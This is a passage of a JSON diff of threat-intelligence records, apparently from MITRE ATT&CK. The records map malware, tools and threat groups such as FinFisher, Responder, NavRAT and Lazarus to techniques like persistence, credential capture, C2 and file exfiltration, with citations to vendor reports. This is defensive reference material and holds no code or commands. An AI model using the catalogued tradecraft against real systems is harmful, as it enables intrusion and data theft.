"2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--112fec98-96be-4843-a56e-90d6b3fc02b2", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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Retrieved November 12, 2014.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.903Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) collects hard drive content and system configuration information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f66681a-7daf-4cd7-99af-3005b6586306", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:43:19.950Z", + "type": "relationship", + "id": "relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has built in commands to identify a host\u2019s IP address and find out other network configuration settings by viewing connected sessions.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d8fd7fc-eb0b-4031-8df0-ef3d237edb7c", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.935Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to remotely execute commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:34:34.243Z", + "type": "relationship", + "id": "relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Responder](https://attack.mitre.org/software/S0174) captures hashes and credentials that are sent to the system after the name services have been poisoned.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2", + "external_references": [ + { + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", + "url": "https://github.com/SpiderLabs/Responder" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "relationship_type": "uses", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:01:20.690Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3427863f-d4c4-4272-ad60-1479e42ed4af", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + } + ], + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools contained an application to check performance of USB flash drives.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.646Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) extracts and decrypts stage 3 malware, which is stored in encrypted resources.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4bffc31-3d7a-4f05-a85d-fdaaaa70853d", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.256Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) persists via a Launch Agent.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13ab29aa-3f71-4439-a8fa-1b98edbb4355", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the .LNK file from the startup directory as well as the dropper components.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa745ba0-428f-4c3c-84be-e333f659690f", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "modified": "2019-01-30T13:42:09.715Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers information about the OS architecture, OS name, and OS version/Service pack.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3e4b47e-cde3-4f27-85b7-464b02325ee6", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). 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Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.104Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) leverages cmd.exe to perform discovery techniques.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2440552-4190-4f72-9cf5-a63eecdff2fb", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can download files off the target system to send back to the server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc9ffcec-db79-4913-91ae-ffd5cec643f7", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) can download files remotely.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b48c2b1-0ce7-4856-9bc7-ae359826550c", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. 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Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.924Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the command prompt to execute commands on the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7df01656-109b-49ad-a9e4-c1b89ba82508", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.451Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) can create backdoor accounts with the login \"HelpAssistant\" with the Limbo module.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1", + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "modified": "2019-06-06T14:35:53.979Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) adds itself to a Registry Run key with the name guidVGA or guidVSA.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5fa4766-4468-4afd-9b5f-5ce4f443729d", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.400Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) contains junk code in its functions in an effort to confuse disassembly programs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b10b7d66-3bee-4ebc-98c2-2eec2259e19e", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.296Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) can use HTTP or DNS for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49c7a467-98ce-4764-af86-c950ed951d13", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) lists the system\u2019s processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87e7c117-bf53-432e-9ff3-2aeb2e522231", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.197Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can scan victim drives to look for specific banking software on the machine to determine next actions. It also looks at browsing history and open tabs for specific strings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d412ff4a-d9d0-44a9-b8b3-36a650f18036", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a package that collects documents from any inserted USB sticks.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e7ff07b-7a32-4ced-ac22-b523586dbde3", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) uses WMI to check for anti-virus software installed on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49b63fca-e16a-446e-89fc-2b899f8420bf", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server information about the first network interface card\u2019s configuration, including IP address, gateways, subnet mask, DHCP information, and whether WINS is available.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4189f5b4-4c57-452a-a3fb-da5988804feb", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.936Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has used forged Microsoft code-signing certificates on malware.", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--361cbd71-b178-44d0-9802-78a310938bad", + "external_references": [ + { + "source_name": "FireEye Operation Molerats", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + } + ], + "modified": "2019-03-25T14:27:23.923Z", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the currently logged in user by running whoami on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5183147b-4563-4a01-a360-a419691e35f8", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim browser bookmarks.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8786a8c-9c40-4df3-874f-952b814baec9", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82b679af-7408-4f41-8fc0-5b0cf5993726", + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2019-03-25T16:59:47.259Z", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) deletes its RAT installer file as it executes its DLL payload file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66bec558-ff92-42ff-a8c1-5b47d071d606", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). 